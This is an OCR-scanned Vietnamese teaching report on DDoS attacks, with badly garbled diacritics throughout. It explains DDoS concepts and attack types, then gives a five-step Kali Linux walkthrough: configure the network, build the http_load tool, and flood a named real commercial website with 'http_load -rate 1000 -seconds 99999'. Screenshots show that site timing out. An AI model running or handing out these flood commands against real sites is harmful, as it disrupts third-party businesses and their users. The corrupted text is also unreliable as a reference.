NOQI DUNG SANG KIEN KINH NGHIEM

1. Trinh bay khai niém vé DDoS

Tan cong tir chdi dich vu 14 su ¢6 gang ¢ chi dich 1 rang cuia mot ngudi hay
nhiéu nguoi véi muc dich lam gian doan, hoic lam cho hé théng(dich vu tir may
cht) d6 cham di mot cach déang ké vai ngudi dung binh thuong, bang cach 1am
qua tai tai nguyén cua hé thong.

Con theo dinh nghia tir wikipedia: La mot phuong thic tin cong phd bién
kéo theo sy bdo hoa may muc tidu vdi cac yéu cau lién lac bén ngoai, dén muc
n6 khong thé dap ung giao thong hop phap, hoic dap tmg qua cham. Trong diéu
Kién chung, cac cudc tan cong DoS dugc b sung bai ép may muc tiéu khoi
dong lai hoac tiéu thu hét tai nguyén cta né dén muc nd khong cung cap dich
vu, hodc 1am tic nghén lién lac gitta ngudi sir dung va nan nhén.

Tan cong tir chéi dich vu 1a su vi pham chinh sach sir dung internet caa IAB
(Internet Architecture Board) va nhitng ngudi tan cong hién nhién vi pham luat
dan su.

2. Phuong thic hoat dong tir choi dich vu trong DDoS : M¢t cugc tan cong
DDoS yéu cau ké tan cong gianh quyén Kiém soat mang luédi cac may truc tuyén
dé thyc hién mot cuge tin cong. May tinh va cac may khéac (nhu thiét bi 10T) bi
nhidm phan mém doc hai, bién chung thanh bot (hoac zombie). Ké tin cong sau
d6 c6 quyén diéu khién tir xa ddi véi nhom bot, duoc goi 1a botnet.

Khi botnet da duoc thiét 1ap, ké tan cong co thé diéu khién cac may bang cach
gui cac hudng dan cap nhat tdi timg bot thong qua mot phuong phéap diéu khién
tr xa. Khi dia chi IP cua nan nhan bi botnet nham muc tiéu, moi bot s& phan hoi
bang cach giri yéu cau dén muc tiéu, c6 kha ning khién may chu hoic mang duoc
nhdm muc tiéu tran dung lugng, dan dén viéc tir chdi dich vu di véi luu luong
truy cap binh thuong. Bai vi mdi bot 1a mot thiét bi Internet hop phép, viéc tach
lru lwong tan cong khoi luu luong théng thudng 1a rat kho khan.

3. Cac loai tAn cong DDoS phd bién:

Tan cong tir chdi dich vu DDoS khac nhau nhdm vao cac thanh phan khac nhau
cua két ndi mang. Bé hiéu cach thirc cac cudc tin cong DDoS khac nhau hoat
dong, can phai biét cach két ndi mang duogc thuc hién. Mot két ndi mang trén
Internet bao gom nhiéu thanh phan khic nhau hodc cac 16p (layers) khac
nhau. Giéng nhu xay dung mot ngdi nha tir mat dat 1én, mdi bude trong moé hinh
c6 mot muc dich khac nhau. M6 hinh OSI (phi bén dué1), [a mét khung khai ni¢m
duoc sir dung dé mo ta két ndi mang trong 7 16p riéng biét.


https://vi.wikipedia.org/wiki/Internet
https://vi.wikipedia.org/w/index.php?title=IAB&action=edit&redlink=1
https://vi.wikipedia.org/wiki/Lu%E1%BA%ADt_d%C3%A2n_s%E1%BB%B1
https://vi.wikipedia.org/wiki/Lu%E1%BA%ADt_d%C3%A2n_s%E1%BB%B1

3.1. T4n cdng 16p ng dung

Poi khi dugc goi 1a mot cudc tan cong DDoS 16p 7 (lién quan dén Iop thir 7 cua
mo hinh OSI), muc tiéu ctia cac cudc tan cong nay 1a lam can Kiét tai nguyén cua
muc tiéu. Cac cudc tan cong nham vao 16p noi cac trang web duoc tao trén may
chu va duoc phan phdi theo yéu cau HTTP. M6t yéu cau HTTP duy nhét, don
gian khi thuc hién & phia may khach va co thé ton kém cho may chi muc tiéu dép
mg vi may chu thuong phai tai nhiéu tép va chay cac truy van co so dit liéu dé
tao trang web. Cac cudc tan cong 16p 7 rat kho dé bao vé vi luu lugng c6 thé kho
gan co 1a doc hai.

Vi du vé cudc tan cong 16p tng dung:
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Cudc tan cong nay twong tu nhu viéc nhan 1am méi trong trinh duyét web nhiéu
lan trén nhi€u may tinh khac nhau — mot so lwong lon yéu cau HTTP tran vao
may chu, dan dén tur choi dich vu.

Loai tan cong nay tir don gian dén phuc tap .Viéc trién khai don gian hon c6 thé
truy cap mot URL voi ciing mot pham vi dia chi IP tn cong, ngudi gidi thiéu va
tac nhan ngudi dung. Cac phién ban phuc tap ¢ thé sir dung mot sé luong 16n
dia chi IP tan cong va nham muyc tiéu cac url ngiu nhién bang cach sir dung cac
tac nhan ngudi dung va ngudi dung ngau nhién.

3.2. T4n cong giao thirc
Céc cudc tan cong giao thirc, con duoc goi 1a cic cudc tan cong can kiét trang

thai, gdy ra sy gian doan dich vu bang cach tiéu thu tat ca dung lugng bang trang
thai c6 san cua cac may chu ng dung web hoac tai nguyén trung gian nhu tuong



lra va can bang tai. Cac cudc tin cong giao thirc st dung cac diém yéu trong 16p
3 va 16p 4 cua ngan xép giao thuce dé khien muc tiéu khong thé truy cap duoc.

Vi du vé tn cong giao thuc
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3.3 Tén cong Volumetric

Thé loai tin cong ndy cb gang tao ra tic nghén bang cach tiéu thy tat ca bang
thong c6 san gitta muc tiéu va Internet 16n hon. Mot luong I6n dit lidu duoc giri
dén muc tiéu bang cach st dung mot hinh thirc khuéch dai hoac mét phuong tién
khac dé tao luu luong 16n, chang han nhu cac yéu cau tir botnet.



Vi du khuéch dai:
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4. Gi6i thiéu mot s6 hé thong ma hacker sir dung dé tin cong tir chdi dich vu.
H¢ théng 1:
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Trong hé théng 1: Ké tan cong s& dung mot may diéu khién va giri chi thi
den tat ca cac may con lai (cac may trude dé da bi kiém soat 1a cac zombies).
Mady bi tan cong(victim: may nan nhan) la dich dén cuéi cung.




Hé théng 2:

Attackers &b

Servers

Users

Trong hé thong 2: Cac Attackers 1a mot nhom da duoc 13p lich trude dé
chuan bi cho moét dgi tan cong mai.

5. Thuc hién qua trinh 5 buéc tan céng tir chdi dich vu

Bwéc 1: Thiét 1ap IP (hé théng 1a cac may hé diéu hanh Kaki Linux)
Dung tién ich nano, thuc hién 1énh sau dé thiét 1ap tin cdu hinh interfaces
#nano /etc/network/interfaces

Thiét 1ap ndi dung tap tin interfaces:

auto ethO

iface ethO inet static
address 192.168.100.26
netmask 255.255.255.0
network 192.168.100.0
broadcast 192.168.100.255
gateway 192.168.100.2

# dns-* options are implemented by the resolvconf package, if installed
dns-nameservers 192.168.100.26
dns-search lytc.com




Wireless LAN adapter Wi-Fi 4:

Connection-specific DNS Suffix
Link-local IPv6 Address . . . . . : Te8@::9002:34f8:67da:fed9%20
IPv4 Address. . . . . . . . . . . : 192.168.100.26
Subnet Mask . . . . . . . . . . . : 255.255.255.8
Default Gateway . . . . . . . . . : fe8@::1%20
152.168.16006.1

C:\Users\ADMIN>

Hinh 2: Set dia chi IP

Trong do:

+ ethO0 : chi 1a tén interface dé phan biét véi cac interface khéc, viéc goi

1a Interfaces hay card mang khong quan trong ban nhé minh thay goi thé nao
nguoi nghe ciing hiéu ca.

+ static: khai bao sé gan IP tinh cho interface nay

+192.168.100.26: chi dinh IP cho interfaces.

+ Netmask: cia IP nay

+192.168.100.0: dai mang cua IP 192.168.100.0.

+192.168.100.255: dia chi Broadcast

+ 192.168.100.2: dia chi cua Default Gateway thuong 1a IP LAN cia modem
ADSL.

+ Dns-nameserver: may chu nay c6 DNS Server 1a 192.168.100.2 gitip phan
giai name trong mang.

+ Dns-search: wu tién tim trong mién lytc.com

Dé cap nhat thay doi ban can restart lai card mang, ct phap két qua nhu bén duéi 1a ok.
sudo /etc/init.d/networking restart

* Running /etc/init.d/networking restart is deprecated because it may not enable
again some interfaces

* Reconfiguring network interfaces... [ OK ]
Sau khi restart ban kiém tra lai thong sb ip da dugc cap nhat hay chua, lénh.
#ifconfig



Két qud show ra nhw nay

ethO Link encap:Ethernet HWaddr 00:0c:29:30:8a:f5

inet addr:192.168.100.26 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe30:8af5/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:861 errors:0 dropped:0 overruns:0 frame:0

TX packets:121 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:81138 (81.1 KB) TX bytes:16881 (16.8 KB)

Interrupt:19 Base address:0x2000

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:64 errors:0 dropped:0 overruns:0 frame:0
TX packets:64 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:4832 (4.8 KB) TX bytes:4832 (4.8 KB)




Bwéc 2: Tai phan mém cai dat tai duong dan https://acme.com/Software
—

http-load - Tim véi Google - Mozilla Firefox e ® O
) Connecting... x |+
€ | @ @ | https://www.google.com/search?q=http_ X ||Q Search wB $§ &#& O =
f5 Most Visitedv il Offensive Security “§ Kali Linux & Kali Docs & Kali Tools = Exploit-DB Wy Aircrack-ng »
Googly o a
Tatca Video Tin tde Hinh anh Thém Cal dat Cong cu

Hinh 2: Tai phan mém danh cho tin céng DDoS
Bwéc 3: Cau hinh tap tin version.h
Cho phép chinh stra ndi dung tap tin hé thdng VERSION.H
root@QThuan: ~/Downloads/http_load-09Mar2016
File Edit View Search Terminal Help

ads# cd http load-09Mar2016/
yads/http_load-09Mar2016# nano verfj

Hinh 3: Thiét \dp théng sé cho tdp tin version.h

Noi dung tap tin version.h

[* version.h — version define for http_loads */
#ifndef VERSION_N_

#define _VERSION_N _

#define HTTP._ LOAD VERSION “h9Mar2016*



https://acme.com/Software

root@QThuan: ~/Downloads/http...load-09Mar2016 e ® 0

File Edit View Search Terminal Help
GNU nano 2.8.7

File: version.h Modified

version.h - version define fo

#ifndef
#define

#define “hZMar2016"

fendif

Bwéc 4: Cai dat théng s http_loads

Dung lénh make && make install dé cai dat hard-core http_load

root@QThuan: ~/Downloads/http_load-09Mar2016 e ® 0

File Edit View Search Terminal Help

/Downloads# cd http load-09Mar2016/
Downloads/http load-09Mar2016# nano version.h
:~/Downloads/http load-09Mar2016# make && make install

cc -0 -ansi -pedantic -U STRICT ANSI  -Wall -Wpointer-arith -Wshadow -Wcast
-qual -Wcast-align -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declaratio
ns -Wredundant-decls -Wno-long-long -c timers.c
cc -0 -ansi -pedantic -U STRICT ANSI -Wall -Wpointer-arith -Wshadow -Wcast
-qual -Wcast-align -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declaratio
ns -Wredundant-decls -Wno-long-long http load.c timers.o -s -0 http load
rm -f , in/htt

Hinh 4: Cai dat http_loads

Bwéc 5: Chon dbi twong tan cong bang DDoS

Dé minh hoa cu thé cho kiéu tan cong tir chéi dich vu DDoS, ddi twong duoc chon 1a
website dangiao.org.

root@QThuan: ~ e ® 0
File Edit View Search Terminal Help
:~# http load -rate 1000 -seconds 99999 a

Dung Iénh:
#http_load -rate 1000 -seconds 99999 a
#http_load -parallel 1000 -seconds 99999 a




Trong do:
-seconds : Thoi gian thuc hién Ddos

-parallel : S6 lugng Request

» NewElectro & House 2017 @) X  INU/BFANRCIT RV NI/ RV TRRGHD N -+

< cC ® dangjiao.org v o Oy i @

DAN GIAO VINH LOI

An Toan Tuyét Béi Cho Moi Céng Trinh !

TU VAN KHACH HANG: 0903.77.5555

GIAN GIAO KHUNG  GIAN GIAO NEM  GIAN GIAORINGLOCK COPPHA  CAYCHONGTANG  LIEN HE

Hinh 5: (Bé dam bdo cho bai viét, trang nay chi mang tinh chat minh hoa. Muc tiéu
cia doi twong la trang dangiao.org)
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Edit View Search
://dangiao
://dangiao
://dangiao
://dangiao
://dangiao
://dangiao
://dangiao
://dangiao
://dangiao
://dangiao

root@QThuan: ~

Terminal Help
byte count wrong

: Operation already

byte count wrong

: Operation already

byte count wrong

: Operation already

byte count wrong

: Operation already

byte count wrong

progress

progress

progress

progress

progress

Operation alread
byte count wrongﬁ
p: //dangiao Operation already
http://dangiao. ount wrong
htt ao.org/: Opera already

://dangiao

progress

IN progress

Hinh 6: Poi teong dang bi tan céng bang phirong thirc DDoS 11

connection has timed out

The server at dangiao.org is taking too long to respond.
e The site could be temporarily unavailable or too busy. Try againin a
few moments,

e |f you are unable to load any pages, check your computer’s network
connection,

e |f your computer or network is protected by a firewall or proxy,
make sure that Firefox is permitted to access the Web.

Hinh 7: Déi twong bi tan céng DDoS va bi rét két néi mang Véi dong trang théi “The
connection has time out” khi ngueoi diing co truy cdp vao dia chi http://dangiao.org !

Trong hinh trén, website dangiao.org la khong thé truy cap duoc nita.
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http://dangiao.org/

Toém lai, trong mot cude “tan cong tir chdi dich vu*, ké tin cong s& c¢b gang
ngan can nguoi dung truy cap téi cac website hay cac dich vu truc tuyén. Muc
tiéu nham dén cua kiéu tan cong nay 1a két ndi mang ctia may tinh, may chu web
va website. Ké tin cong co thé ngin can nguoi dung truy cap vao email, cac
website hay cac tai khoan truc tuyén (banking, v.v).

Cach phd bién va ciing hay gap nhat cua tin cong DOS 1a khi mot ké tan
cong cb gang 1am “ngap lut” (flood) mang cta ban bang cach gt nhitng dong di
licu I6n t61 mang hay may cha website cta ban. Khi ban gé mét URL caa mot
website cu thé vao trinh duyét, ban s& giri mot yéu cau t6i may chi ciia website
d6 dé xem noi dung trang web. Mdy chu web chi co thé xtr Iy mot s6 yéu cau
cung mot lac, nhu vay néu nhu mot ké tin cong gui qua nhiéu cac yéu cau, may
chu d6 sé& bi qua tai va khong thé xt 1y cac yéu cau khac cua ban. Pay chinh 1a
Mot cudc tan cong “tir chdi dich vu” vi ban khong thé truy cap vao trang web hay
dich vu @6 ntra.
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